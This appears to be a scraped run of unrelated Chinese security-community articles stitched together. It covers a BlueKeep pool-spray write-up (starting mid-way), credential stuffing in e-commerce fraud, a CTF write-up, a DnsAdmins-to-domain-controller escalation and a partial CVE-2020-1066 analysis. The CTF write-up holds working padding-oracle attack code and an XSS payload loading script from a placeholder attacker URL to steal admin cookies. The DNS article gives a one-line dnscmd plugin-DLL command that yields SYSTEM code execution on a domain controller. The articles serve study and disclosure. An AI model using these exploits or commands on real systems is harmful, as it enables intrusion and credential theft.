](https://images.seebug.org/content/images/2019/09/b1cdaa40-460f-4ccc-b00c-48b97257b0fd.png-w331s) 之后开始池喷射，将payload喷射到可以call [rax] == 0xfffffa80ec000948的地方，喷射的payload大小基本是0x400，总共喷射了200mb的数据大小，我们先来看下喷射前带标志TSic总共占用池内存大小是58kib左右 ![ ](https://images.seebug.org/content/images/2019/09/bdbffa6a-6b0e-49a5-9cfd-444e4728ebff.png-w331s) ![ ](https://images.seebug.org/content/images/2019/09/7c52de99-c79d-445d-be20-45fab5e57ede.png-w331s) 喷射完后带TSic标志池内存大小大约就是201mb，池内存喷射基本是成功的，我的win7是sp1，总共内存大小是1GB，再喷射过程中也没有其他干扰的，所以喷射很顺利 ![ ](https://images.seebug.org/content/images/2019/09/96856048-421f-4c67-9737-0a504d62b0d1.png-w331s) ![ ](https://images.seebug.org/content/images/2019/09/d16d25b1-12e6-438f-87f7-0b576bac3875.png-w331s) 图中可以发现基本已经很稳定的0x400大小的池喷射payload，地址越高0x400大小的内存基本就很稳定了 ![ ](https://images.seebug.org/content/images/2019/09/8cc4c922-8d96-49ac-910b-4a37a865d0b6.png-w331s) 最后断开连接时候，被free的内存已经被我们喷射的0x128大小的数据给占用了 执行call指令后稳定跳转到了我们的payload，成功执行！ ![ ](https://images.seebug.org/content/images/2019/09/1baf39cf-8334-4bdb-9942-d773a393c780.png-w331s) 参考链接： [0] <https://github.com/rapid7/metasploit-framework/pull/12283> [1] <https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/> [2] <https://wooyun.js.org/drops/%E7%BE%8A%E5%B9%B4%E5%86%85%E6%A0%B8%E5%A0%86%E9%A3%8E%E6%B0%B4%EF%BC%9A%20%E2%80%9CBig%20Kids%E2%80%99%20Pool%E2%80%9D%E4%B8%AD%E7%9A%84%E5%A0%86%E5%96%B7%E6%8A%80%E6%9C%AF.html> * * *
社区文章
# 遭泄露的千万用户数据 或正在618电商节上疯狂“薅羊毛” ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 除了已经开赛的世界杯，近日有两个事情备受关注。 第一个是A站密码被盗。6月13日凌晨，AcFun弹幕视频网发布声明称，网站受黑客攻击，近千万条包含用户ID、用户昵称、加密存储的密码的用户信息外泄。虽然几十个小时后，窃取用户信息的黑客发布声明称，已无条件删除窃取的数据库，但陆续爆出其他平台用户数据泄露消息，依旧引发了人们对于个人信息泄露的恐慌（就在小象完成这篇稿件时，又传出某知名招聘网站195万信息泄露的消息….）。 第二个是已经拉开帷幕的618年终大促。“天猫618理想生活狂欢季”、“京东618全球年中购物节”、“苏宁618年中庆” 持续酣战，各大电商平台纷纷进入大促季。漫天飞的促销红包、预售、定金、满减让消费者眼花缭乱。27天的线上促销活动，掀起年中一轮消费高潮。 这两个事件看起来风马牛不相及，但是在网络黑灰产的运作下却紧密连接在一起。 ## 用户丢失的数据会被谁买走？ 还记得A站公告数据库泄露后，黑客通过地下论坛发布的帖子吗？是的，出售用户数据是黑客最快的变现方式之一。 一般会四类人会去通过地下黑市购买这些丢失的个人信息： 1、薅羊毛、刷单、刷票、点赞、刷粉的黑灰产。 2、利用网络和电信行骗的诈骗分子。 3、进行各类网络营销推广的商家。 4、其他。 这其中，尤以黑灰产获利直接而且一直被人们忽略（点击查看“非法接码平台背后的百亿产业链”）。 ## 网友失窃的信息，黑灰产牟利的蜜糖 拿到用户数据后，黑灰产会利用这些信息做“撞库”攻击，获取网友在其他网站上账号密码。 “撞库”是网络安全行业的术语，意思是黑客通过收集互联网已泄露的用户和密码信息，尝试批量登陆其他网站后，得到一系列可以登录的用户名和密码。 因为新注册的账号会受到严密的监控，在相同或区域接近的IP地址下生成的大量注册账号会被系统认定为是高风险行为，也很容易被网站平台的防控系统拦截。而通过“撞库”所获得的真实账号基本都是“老账号”，更容易避开目标服务商的防控措施。 以电商网站为例。黑灰产从业者在获得网友的账号密码等信息后，分别登录不同的电商平台， “领取”平台上的优惠券、积分、红包等会员增值福利，羊毛党会有组织的在第三方平台进行转售，实现“羊毛”的快速变现。 同时，黑灰产还会通过电脑、群控等设备，批量操控账号登录电商、社交、视频、直播等网站，进行信息发布、点赞、刷单、投票、点评。由于这些操作不会对网友的体验带来显著影响，因此网友的账户“替”这些黑产赚了钱还被蒙在鼓里。 虽然部分些网站平台有比较严格的防控措施，在访问者登录IP更换、上网设备更换等触发短信验证码等保护，封堵可疑的访问。但是这些网站平台的业务构成非常复杂，很多外部接口和第三方应用在管理上却没有那么严格，这也成为不法分子攻击的入口。例如，某知名UGC平台的某些第三方应用，只要输入正确用户名和密码就就能够登录，无论是否更换设备、地址等均无二次验证。 ## 618是电商促销日，也是攻防大考时 随着618促销活动渐趋高潮，各电商平台所推出的优惠力度也不断增大，这对黑灰产的吸引力也相应的提升，电商平台迎来了新一轮攻防大考。 一方面，黑灰产必定会采用更先进的技术手段，更大规模的攻击力量，甚至扮演分销平台的角色、动员大量真实用户来“薅羊毛”，让电商平台风控的难度大幅增长，甚至很难评估羊毛党的真实比例。 另一方面，在618这样的大型促销活动中，为了避免影响客户体验以及业务系统稳定，很多电商平台会削弱风控的力度，或是部分开放风控规则，这很可能会导致黑灰产找到更多的可乘之机。 黑灰产攻击不但给电商平台带来直接的经济损失，更损害了普通消费者的利益。因为很多电商会对促销活动的效果进行监测，如果薅羊毛的人太多直接影响了业务运营，会采取强化验证级别甚至是减少优惠额度的措施。前者会让消费者承担不必要的麻烦，后者则直接提升了其购买商品的最终价格。从经济原理上来说，电商平台通过一定的营销费用支出来提升营销效果，被黑灰产“薅取”的越多，能够用于消费者的就越少。 因此，如何在用户体验与业务安全上达到平衡是很多电商平台非常关心的问题，繁琐、复杂的风控规则固然有助于防范更多的黑灰产攻击，但是也大幅降低用户体验，这就需要找一个良好的契合点。例如，顶象技术的无感验证将智能风险识别与验证结合，能够有效虚假、伪造、恶意的请求，减少对正常用户的干扰，大幅提升用户体验。 ## 小结：失窃的用户数据与黑灰产的关系路径 1、 黑客通过脱库等各种途径，拿到网站平台的用户数据。 2、 在地下黑市中，黑客将这些用户数据出售给黑灰产。 3、黑灰产拿到用户数据后，登录电商平台“领取”优惠券、红包，并进行“撞库”攻击获取其他电商平台的账号密码。 4、持续收集网友数据，密切监控各个电商平台的优惠促销活动，不间断的进行小范围“狩猎”，并训练新的攻击方式和手段。 5、在618、双11以及其他网购高峰期间，黑灰产针对发动大规模攻击，并会启用新的攻击方式、手段和日常储备的大量账号。 6、 在成功套取优惠券、红包等优惠凭证之后，羊毛党会在第三方平台进行转售，实现“羊毛”的最终变现。 7、对于防控较弱的目标，黑灰产会直接通过大量注册的新账号来发动攻击；对于防控较强的目标平台，则会使用购买的真实的账号密码，也会利用软件伪造IP地址。 电商和黑灰产的对抗过程不是简单的矛与盾的对抗，而是一个非常复杂的过程。因此长期积累的攻防实战经验、丰富的业务场景、专业的反欺诈技术和不断演进的风控策略是一个专业的风控系统离不开的必要元素，这一切在顶象全景式业务安全系统得到了良好呈现，再与人工智能、大数据等技术良好融合，能够显著降低电商业务风险。 审核人：yiwang 编辑：边边
社区文章
# Writeup for Web-Checkin in CyBRICS CTF 2021 | ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 这是 CyBRICS CTF 2021 中的一个难度为 Hard 的 Web 题（其实是 Crypto 密码题）。由于作者的某些原因，这个题目在比赛结束都是零解。在比赛结束之后，跟主办方 battle 了半天，作者终于意识到这个题目有问题，在原题正常的情况下，只有 **理论上** 才有解…于是，主办方在比赛结束后也承认了自己的错误：”looks like we’ve shit our pants”，也在直播解题的时候对于此题无解进行了解释，并放出了一个修复的版本，而且为了表示自己的诚意，主办方也表示前三个能够解决这个问题的人可以获得 bounty 。 于是，我跟我的密码学小伙伴努力了两天，终于最后成功地解决了这个题目拿到了二血，也是仅有的两支获得奖励的队伍之一。以下是这个题目修复后版本的 WriteUp 。 ## TL;DR Padding Oracle Attack + Bit Flip Attack + XSS ## Reconnaissance 这个题目模拟了一个航班预订网站，我们可以在那里根据用户信息生成机票，并上传机票进行登记。 题目主要有三个 API 接口： * /order：填表单的一个界面，只有做前端页面展示，表单数据提交到下面这个 API * /finalize：根据传入的参数生成 Aztec Code （一个类似二维码的码）。通过在线识别的工具可以知道得到的是一串密文，密文大概长这样：GLESujRnvL1DfBzExFRDKQ0ZjTrqQgOPuDHKWyu5qhlOpFzn2hw3Dc5dsGLT1jMdwzo24z8h8f2vW6sNINRZa70MLB+mrqY5JVPg5DFygnDmVIUEI6yqkiqaB3fg5RCGeTE6gApiuxZSneallm7kCzIt+au5fZG/f9XXypDLWqM= , base64 解码不能直接得到 ASCII 明文，从密文格式来看暂时没有其他更多信息。 * /upload：用来上传得到的 Aztec Code ，正常情况下如果成功就返回 “ _you are now registered_ “ 的响应，表示成功注册。 后来，我们通过改变 base64 编码数据的一些字节后发现了一些有意思的现象，比如我们通过修改数据的某个字节得到了一个 _“PADDING_ERROR”_ 的响应。所以我们立即想到，这个题目很可能考的是 Padding Oracle Attack (以下简称 POA )。 为了证实我们的想法，我们随便使用题目生成的一个 Aztec Code ，用 base64 解码成密文，在倒数第二个密码文本块的最后一个字节中 XOR 每一个可能的字节值（0~256），后用 base64 编码这些修改后的密文，并用 Aztec Code 生成图片上传到题目的 upload 接口（ python 可以用 aztec_code_generator lib ）。在我们收到的 256 个响应中，255 个的状态码是 200 ，只有一个响应的状态码是 500 。并且在这 255 个响应中，在最后一个字节中用`x00`进行 XOR 得到一个 “ _Success_ “ 的响应，其余254个都是 “ _PADDING_ERROR_ “ 的响应。 所以这意味着只有 “ _Success_ “ 的响应和 500 的响应在服务器端解密后得到了正确填充的明文。响应 “ _Success_ “ 是因为得到的明文是未经修改的原始明文，而返回 500 的响应则是因为解密后的明文经过一定程度的修改而被正确填充，我们可以通过利用这一点获得原始明文的最后一个字节。 通过不断向服务器发送修改的密码文本，然后区分服务器是否回应 “PADDING_ERROR”，我们可以逐个恢复整个明文。这也就是所谓的 [Padding Oracle Attack](https://en.wikipedia.org/wiki/Padding_oracle_attack)。 ## Padding Oracle Attack 我们简单回顾一下 POA 攻击的相关知识。 * * * 首先，我们需要了解什么是 Padding 。 众所周知，分组加密可以将一个明文/密文分成多个等长的block进行加密/解密操作。在 AES 的情况下， 16 个字节的数据为一个block。使用一些分组加密的操作模式，我们可以重复使用分组密码的加密/解密操作一些长度超过一个块的数据。例如，AES-CBC模式可以加密/解密长度为16的倍数的数据。但是如果数据的长度不是分组长度的倍数呢？我们可以使用某种填充方法（padding method），在最后一个块的末尾添加一些数据，使其成为一个完整的块。 [PKCS#7](https://en.wikipedia.org/wiki/Padding_\(cryptography)#PKCS#5_and_PKCS#7)就是最广泛使用的一种填充方法。 PKCS#7 首先计算要填充的字节数（pad_length），然后将 pad_length 个字节附加到最后一个明文块中，每个字节值都是 pad_length 。解除填充后，解密结果的最后一个字节被提取并解析为 pad_length ，并根据 pad_length 来截断最后一个组的字节数。这里简单举个例子，在 “aaaab\x03\x03\x03” 当中，解除填充后为 “aaaab” 。下面是一个 PKCS#7 填充和解填充的Python实现。 def pad(pt): pad_length = 16 - len(pt)%16 pt += bytes([pad_length]) * pad_length return pt def unpad(pt): pad_length = pt[-1] if not 1 <= pad_length <= 16: return None if pad(pt[:-pad_length]) != pt: return None return pt[:-pad_length] 我们需要注意的是，在解除填充后会对填充进行合法性检查。这意味着最后一个块只有存在 16 种情况是可以被认为是有效的，所有其他格式的数据都是无效的，将产生 “ _PADDING_ERROR_ “ 响应，这是一个我们将在后面会利用到的一个 Padding Oracle 的表现。 > 另一点要注意的是，即使明文的长度是区块大小的倍数，仍然需要填充。在这种情况下，将追加 0x10 个字节，每个字节值为`b"x10"`。 另外，我们还需要与熟悉一下 **AES-CBC** ，这是POA最常见的攻击场景。 在 CBC 模式下，明文填充后被分成若干个明文块，每个明文块在 AES 加密前都会与前一个密码文本块进行 XOR ，第一个明文块与一个随机生成的初始化向量（IV）进行 XOR ，最后的加密结果是以IV为首、其他密文块连接而成的密文，解密只是逆序进行了这些操作。 AES-CBC 的一个重要缺点是， **它并不提供完整性保护** 。换句话说，攻击者可以通过某种方式（如字节翻转）修改密文并将修改后的密码文本发送到服务器而不被发现，这就为 POA 攻击提供了条件。 * * * 现在，我们可以深入了解 POA 是如何具体进行攻击的。 假设攻击者拥有一个密码文本，它可以分为一个 IV 和 3 个密码文本块 c1 、 c2 、 c3 ，攻击者的目的是要解密最后一个密码文本块 c3 。 攻击者可以改变 c2 的最后一个字节（XOR 上一些字节值），然后将其发送给服务器，我们应当可以得到两种响应，一种是 200 响应，内容为 “ _PADDING_ERROR_ “ ，另一种是 500 响应。如果我们得到一个 500 的响应，说明我们就成功了，这意味着解除填充的检查通过了，最后一个纯文本块必须以`b"\x01"`结尾，因为这是 16 种有效的填充格式之一。 在恢复了最后一个字节后，我们可以继续解密最后一个明文块之前所有的字节。例如，为了解密倒数第二个字节，我们可以利用`b"\x02\x02"`的填充格式。由于我们已经知道了明文的最后一个字节，我们可以通过在`c2`中 XOR 一些字节值将最后一个字节修改成我们想要的任何值。目前，我们想让最后一个字节变成`b"\x02"`，我们将`c2`的最后一个字节与明文的最后一个字节进行 XOR ，使其变成`b"\x00"`，然后再 XOR 上`b"\x02"`，结果就是`b"\x02"`。随后，尝试每一个可能的 255 个字节值`guess_byte XOR b"\x02"`（除了`b"\x00"`）与`c2`的倒数第二个字节进行XOR，并将修改后的密码文本发送到 Padding Oracle ，直到得到 500 响应，从而恢复最后第二个明文字节，这正好是`guess_byte`。 以下是Python代码，可用于解密最后一个明文块。 import requests import base64 import aztec_code_generator # padding_oracle recovers the last 16 plaintext bytes of the given ciphertext def padding_oracle(cipher): plaintext = b"" for index in range(1, 17): print(f"[*] index: {index}") for byte in range(0, 256): bytes_xor = b"\x00"*(16-index)+bytes([byte^index])+xor(plaintext,bytes([index]*(index-1))) new_cipher = cipher[:-32] + xor(cipher[-32:-16], bytes_xor) + cipher[-16:] b64data = base64.b64encode(new_cipher) code = aztec_code_generator.AztecCode(b64data) code.save(f"./pics/{byte}.png", module_size=4) f = open(f"./pics/{byte}.png", "rb").read() paramsMultipart = [('file', ('1.png', f, 'application/png'))] response = session.post("http://207.154.224.121:8080/upload", files=paramsMultipart) if response.status_code == 200: body = response.content.split(b'<div class="content__i">')[1].split(b"div")[0] if b"PADDING" in response.content: print(f"[{byte:>3d}] Status code: {response.status_code}, PADDING ERROR") else: print(f"[{byte:>3d}] Status code: {response.status_code}, {body}") else: # response.status_code == 500 print(f"[{byte:>3d}] Status code: {response.status_code}") plaintext = bytes([byte]) + plaintext print(f"plaintext: {plaintext}") break return plaintext ## Recovering the Entire Plaintext 通过利用 Padding Oracle ，我们能够逐字节解密最后的明文块。我们还能再进一步利用吗？答案是肯定的。 一旦我们恢复了最后一个明文块，我们就可以扔掉最后一个密文块，并继续利用 Padding Oracle 来恢复倒数第二个明文块，以此类推，我们将恢复整段明文数据。 * * * 我们按照上述思路实施了攻击，并成功地恢复了整个明文，并发现这是一个json格式的数据。 b'{"name": "12321", "surname": "123", "middle": "1", "time": "2021-07-26 13:37:00", "dest": "", "dep": "", "flight": "BLZH1337"}\x02\x02' 到这里，我们就可以猜到服务器端是如何处理上传的 Aztec Code 。在收到图片数据后，服务器将其解码为密文，对密文进行解密，并对解密结果解除填充。如果在解除填充过程中发生了错误，服务器会以 “ _PADDING_ERROR_ “ 的响应来回答。在解除填充后，明文会被进一步处理，可能会通过类似`JSON.parse()` 的处理。如果处理过程中产生任何错误，服务器会以 500 状态码来响应；如果一切正常，服务器会给我们发回一个 “ _Success_ “ 的 200 响应。 ## Arbitrary Plaintext Encryption 恢复整个明文并不足以解决这道题目，我们需要进一步构造我们想要的任意明文的密文，也就是说构造一个密文，让解密结果得到任意我们想要的明文。 为了实现这一目标，我们需要将字节翻转与 POA 相结合，字节翻转攻击使我们能够将明文改变成我们想要的，而 Padding Oracle 可以作为一个解密器使用，帮助我们解密任何密文。 假设密文 `IV || c1 || c2 || c3` 解密为 `p1 || p2 || p3` ，我们想得到 `p1'|| p2'|| p3` 的密文。 我们首先将 `c1` 与 `p2 XOR p2'` 进行XOR，得到 `c1'` 。这样，`IV || c1'|| c2 || c3'`将被解密为`junk || p2' || p3'`。 生成的垃圾数据是完全随机的，这对我们来说是不可控的，而且含有不可控的垃圾数据会影响到 `JSON.parse()` 的解析，如果有不可见字符服务器会解析出错，并返回500响应码。那么，我们能用它做什么呢？还记得恢复最后一个明文块的 POA 吗？我们可以重新使用 POA 来恢复垃圾数据块`junk`。之后，我们再用 `junk XOR p1` 来XOR “IV”，得到一个新的 “IV”。这样，`IV'||c1'||c2||c3'`将被解密为`p1' || p2' || p3`，这正是我们想要的! ## The XSS Part 后面的 XSS 部分就是白给了。目前我们现在可以加密我们任何想要的东西，接下来我们应该怎么做呢？根据题目的描述，我们必须去获取一个监控系统的内容，并从中获得 Mr.Flag Flagger 的信息。并且结合题目给了一个上传扫码的接口以及明文块是 JSON ，很明显的一个 XSS 题目了，接下来就是我们如何构造这个 XSS Payload 了。 首先，我们得把生成密文的 API 参数与 JSON 参数的对应关系找出来。这个我们可以通过在 API 参数传入一些易于区分的数据即可，如下： URL: http://207.154.224.121:8080/finalize?lastName=1&firstName=2&origin=3&Gender=4&destination=5 CipherText: 8BAHi37U69MYAnP4O4cHrpRIJrT3dKwv7uRCoLYzU2vnxEOCb6vT0LffcAROX3jPZ+p4yDtKRXwcxYF9B22a3PH3m9tIiEDc3OrwR9W/ACyIcPw7XEJKAyB3QlHiFn2j0HC8P8SpwFqe4A/NRCESLI996IzP9Rkw066eGSuK0MxhpBXGV2gqfm4FAgqTLE3N PlainText: b'{"name": "2", "surname": "1", "middle": "4", "time": "2021-07-26 13:37:00", "dest": "5", "dep": "3", "flight": "BLZH1337"}' 所以我们基本可以得到如下的对应关系： * lastName: surname * firstName: name * origin: dep * Gender: middle * destination: dest 但是我们应该把 XSS Payload 放在哪儿呢？虽然我们可以一个一个尝试，但是毕竟太麻烦了，仔细观察题目页面内容我们可以大概找到如下一个提示（虽然看起来并不算什么提示）： <!-- <h2>Passenger data</h2> <h3>Name:</h3> <h4>qweqwe</h4> --> 所以，我们可以尝试把 XSS Payload 注入到 JSON 的 Name 参数当中，例如： {"name": "<script src=http://your_url/?2></script>", "surname": "1", "middle": "4", "time": "2021-07-26 13:37:00", "dest": "5", "dep": "3", "flight": "BLZH1337"} 但是我们需要注意的是，根据以上密码学知识，我们首先要在对应的生成密文的 API 处，生成一个 Name 长度与我们 XSS Payload 长度相同的密文，这样才能不至于解密出错。例如我们这里的 XSS Payload 长度为 40 ，所以我们也要生成一个 Name 参数长度为 40 的密文，也就是需要我们首先在生成密文的 API 传入一个长度为 40 的 firstName 参数，并且为了保证其他参数加载到页面时保证页面正常，我们最好不要改动其他字段，让其他字段保持默认值即可。（血泪教训 URL: http://207.154.224.121:8080/finalize?lastName=1&firstName=0000000000000000000000000000000000000000&origin=3&Gender=4&destination=5 PlainText: b'{"name": "0000000000000000000000000000000000000000", "surname": "1", "middle": "4", "time": "2021-07-26 13:37:00", "dest": "5", "dep": "3", "flight": "BLZH1337"}' 在我们得到密文后，我们接下来就需要使用 Padding Oracle 和字节翻转来改变密文对应的明文， 然后使用 base64 编码一下，再用 Aztec Code 编码转成图片，并通过 upload API 上传图片即可。最后，终于打到了 Admin ！ 拿到 Admin Cookie 以及对应页面内容之后，我们可以直接用 Admin Cookie 登录到该页面。登录之后，发现该页面只有一个搜索的功能，一开始我还以为是个套娃题，还要 SQL 注入，结果最后按照题目提示搜索了一下 Flagger 就拿到 flag 了… 整体来说是个密码题，跟 Web 没多大关系～希望密码学选手看完后有所收获23333（因为 Web 部分纯白给，Web 选手就是帮检查检查哪里出错了，然后跑跑 exp ，等等 exp 就行了，该说不说，跑个 exp 还得跑个 1.5 小时，确实折磨～
社区文章
# 【技术分享】从DNSAdmin到域控：如何使用一条命令搞定域控 | ##### 译文声明 本文是翻译文章，文章来源：medium.com/@esnesenon 原文地址：<https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83> 译文仅供参考，具体内容表达以及含义原文为准。 **** **一、前言** 微软自己有一套DNS服务器解决方案，同时也实现了自己的DNS管理协议，以便结合AD（Active Directory，活动目录）域实现一体化集成和管理。默认情况下，域控也是DNS服务器，在域中，每个域用户都应该能够访问和使用DNS服务器。这样一来，域控就会暴露出一些攻击面，比如DNS协议自身，以及基于RPC的管理协议都可以作为攻击对象。 在本文中，我们会深入研究这个协议的具体实现，并详细介绍一个可爱的功能（注意，这并不是一个bug）。在某些情况下，即使我们不是域管，我们也可以利用这个功能在域控上运行命令。虽然这个功能并不是一个安全漏洞（因此大家没必要恐慌），但正如微软所承认的那样，我们可以在红蓝对抗中使用这个技巧完成AD域提权。 本文所阐述的所有技术细节，主要来自于微软官方的协议规范（[MS-DNSP], <https://msdn.microsoft.com/en-us/library/cc448821.aspx> ），以及使用IDA逆向分析dns.exe这个二进制程序所得的信息。 **二、DNS服务器管理协议** 基于RPC的DNS服务器管理协议可以构建在TCP或者命名管道之上。如果你对协议本身或者具体实现感兴趣，你可以好好研究一下域控上的“c:windowssystem32dns.exe”这个程序。协议的RPC接口UUID为“50ABC2A4–574D-40B3–9D66-EE4FD5FBA076”，使用“PIPEDNSSERVER”命名管道进行传输。 微软的DNS服务器是作为域控上的服务来运行的。我们可以运行dnsmgmt.msc，连接到某个AD DNS服务器（通常也是域控），访问管理接口进行管理。管理接口允许用户配置和管理DNS区域（zone），进行DNS的查找、缓存、转发和记录日志等相关操作。在这个层次化结构中，有几个对象与安全有关，比如DNS服务器对象（这些对象不是计算机账户）、区域对象以及区域记录。本文中我们关心的是服务器对象。全新安装的服务器对象的ACL（访问控制列表）应该如下所示： 默认情况下，只有DNS管理员（DnsAdmin）、域管、企业管理员（Enterprise Admins）、本地管理员以及企业域控制器（ENTERPRISE DOMAIN CONTROLLERS）对这个对象有写访问权限。值得注意的是，从攻击者的角度来看，如果我们是这些组（除DnsAdmins之外）的成员，那么我们已经掌握了域的管理权限。因此，让我们来看看，如果我们只是一个DnsAdmin，我们可以做些什么。 **三、技术细节** 此时我们需要协议规范的帮助了。协议规范的3.1.4节（消息处理事件和排序规则）基本上介绍了服务器需要支持的所有操作。第一个操作是R_DnssrvOperation，这个操作包含一个pszOperation参数，该参数可以决定服务器执行的具体操作。翻阅了pszOperation参数的一大堆可选取值之后，我们找到了这个取值： 你没看错，我们可以告诉服务器加载我们自己的DLL，听起来非常棒。搜索“ServerLevelPluginDll”，我们找到如下一段有价值的信息： 从这段描述中，我们发现服务器似乎没有对这个操作所指定的DLL路径进行任何验证。在开始实践之前，我想肯定有人已经注意到了这一点。使用Google搜索“ServerLevelPluginDll”，我没有找到直接有用的信息，然而我找到了一个非常有用的命令行工具：dnscmd。 幸运的是，dnscmd已经实现了我们所需的一切。快速查看dnscmd的帮助信息，配合官方文档，我们可以看到以下选项： dnscmd.exe /config /serverlevelplugindll \pathtodll 首先，我们使用没有特殊权限的普通域用户（这些特殊权限不包括通用读取权限，默认情况下域用户组具备这个权限），在DNS服务器对象上运行这条命令，命令运行失败，返回拒绝访问信息。如果我们让域用户具备这个服务器对象的写访问权限，那么这条命令会运行成功，这意味着DnsAdmins能够成功运行这条命令。 现在还没到使用IDA的时候，我们可以试着在域控上使用DnsAdmins身份运行这条命令，同时运行Process Monitor和Process Explorer工具。我们发现并没有任何DLL被加载到dns.exe的地址空间中。然而，我们可以看到以下注册表键值包含我们所传入的DLL路径： HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesDNSParametersServerLevelPluginDll 非常好，现在出于测试目的，我们重启DNS服务器所在的服务。情况不妙，DNS服务器无法启动，并且会清除掉与启动有关的注册表键值。显然，我们的DLL中还欠缺一些东西，是时候使用IDA了。 在这种情况下，我们可以使用多种方法快速找到我们需要逆向分析的函数，搜索相关字符串以及相关API函数通常是最简单和最快速的方法。对本文而言，我们搜索LoadLibraryW或者GetProcAddress的交叉引用（xref）即可，也就是说，我们需要查找代码，找到使用LoadLibraryW加载我们DLL文件的函数，以及调用这个函数的父函数。我们会发现，服务器对ServerLevelPluginDll参数的文件路径没有做任何的验证。 我们前面遇到的问题只有一个，那就是如果DLL加载失败，或者DLL没有包含指定的导出函数（DnsPluginInitialize、DnsPluginCleanup或者DnsPluginQuery），那么DNS服务就不能成功启动。我们还需要确保这个DLL所有的导出函数返回值都为0（表示成功返回），否则也会导致服务启动失败。 负责加载DLL的函数伪代码大概如下所示： HMODULE hLib; if (g_pluginPath && *g_pluginPath) {   hLib = LoadLibraryW(g_pluginPath);   g_hndPlugin = hLib;   if (!hLib) {...log and return error...}   g_dllDnsPluginInitialize = GetProcAddress(hLib, "DnsPluginInitialize");   if (!g_dllDnsPluginInitialize) {...log and return error...}   g_dllDnsPluginQuery = GetProcAddress(hLib, "DnsPluginQuery")   if (!g_dllDnsPluginQuery) {...log and return error...}   g_dllDnsPluginCleanup = GetProcAddress(hLib, "DnsPluginCleanup")   if (!g_dllDnsPluginCleanup) {...log and return error...}   if (g_dllDnsPluginInitialize){     g_dllDnsPluginInitialize(pCallback1, pCallback2);   } } 我们可以构造一段简单的PoC代码。在Visual Studio 2015中，满足利用条件的DLL文件代码如下所示： 上述代码中，我们使用“pragma comment”语句设定DLL的导出函数。我们可以使用如下语句验证DLL的导出函数是否正确： dumpbin /exports pathtodll 现在我们使用新的DLL，再次尝试dnscmd命令，这次命令运行成功。我们只需要将我们的DLL文件放到某个域控主机账户可以访问的网络路径中即可（dns.exe运行在SYSTEM权限下，只要Everyone SID能够访问这个路径即可），这样我们就能在域控上以SYSTEM权限运行代码，进而控制整个域。 从上文分析中我们知道，如果我们是DnsAdmins的成员，那么我们就有可能控制整个域，但条件不仅限于此，只要我们的账户具备DNS服务器对象的写访问权限也能完成同样任务。以我的经验来说，这些服务器对象的ACL通常不会像域管（或者受AdminSDHolder保护的类似用户组）的ACL那样严格，因此我们还是有机会使用这个技巧实现域权限提升。 正如协议规范中所述，这个技巧适用于大多数Windows Server版本，如下所示： 我们已经向微软的MSRC团队反应了这个问题，他们表示用户可以只允许域控管理员更改ServerLevelPluginDll注册表键值来修复这个问题，并表示有可能会在今后的版本中去除这个功能。 不论如何，dns.exe目前仍然运行在SYSTEM权限下，这样还是会暴露一些可利用的攻击面，因此我们可以从DNS实现角度以及管理接口入手，分析其脆弱性并加以应用。 **四、时间线** 3月31日，首次向[email protected]披露此问题 4月1日，问题确认，已转发审查 4月8日，MSRC将该问题标为38121案例 5月2日，微软认为这不是一个漏洞，将来会在安全更新之外修复这个问题 5月5日，讨论如何进一步加固DNS服务器所在的服务 5月8日，研究结果公布。非常感谢MSRC的Daniel处理这个问题，与他合作非常荣幸
社区文章
# 循序渐进分析CVE-2020-1066 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 这个漏洞属于Windows CardSpace服务未正确处理符号链接对象导致的任意文件替换的本地权限提升漏洞 ## 申明 作者poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关 ## 分析 ### 漏洞影响范围 适用于Windows7和Windows Server 2008 R2的普通用户和开启特殊配置的IIS用户 ### 漏洞原理分析 笔者是漏洞的提交者,漏洞更新于2020年5月.漏洞来自于Windows7和Windows Server 2008 R2的Windows CardSpace服务(简称idsvc),该服务可由任意用户启动,本身以System权限运行,并提供公开的RPC调用,服务在由用户触发移动位于当前用户环境变量%APPDATA%目录下指定配置文件时未正确处理符号链接对象,导致任意文件替换的本地权限提升,这是漏洞的成因. 由于是利用基于RPC调用就需要先获取服务的接口[MIDL](https://docs.microsoft.com/en-us/windows/win32/midl/midl-start-page),这样才能编写本地代码与之交互.笔者推荐使用[RpcView工具](https://github.com/silverf0x/RpcView),具体方法可以参考[RPC漏洞挖掘系列文章](https://www.anquanke.com/post/id/167427). 先使用如下方法获取符号文件,并在工具中进行符号配置,之后就可以反编译出RPC接口IDL文件,具体方法如下 //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRV*C:\symbols*http://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols 通过工具获取其中由3个重要的数据,Rpc协议的类型,协议名称和协议接口的客户端定义文件(编译IDL文件文件生成的.c文件,见左侧Decompilation文本框),这样就可以用如下方法绑定Rpc服务了 BOOL StartRpcService() { RPC_STATUS status; unsigned int cMinCalls = 1; RPC_BINDING_HANDLE v5; RPC_SECURITY_QOS SecurityQOS = {}; RPC_WSTR StringBinding = nullptr; if (StartConnectingService()) { //Rpc协议的类型,协议名称 status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding); if (status){ printf("RpcStringBindingComposeW Failed:%dn", status); return(status); } status = RpcBindingFromStringBindingW(StringBinding, &hBinding); RpcStringFreeW(&StringBinding); if (status){ printf("RpcBindingFromStringBindingW Failed:%dn", status); return(status); } SecurityQOS.Version = 1; SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE; SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT; SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC; status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS); if (status){ printf("RpcBindingSetAuthInfoExW Failed:%dn", status); return(status); } 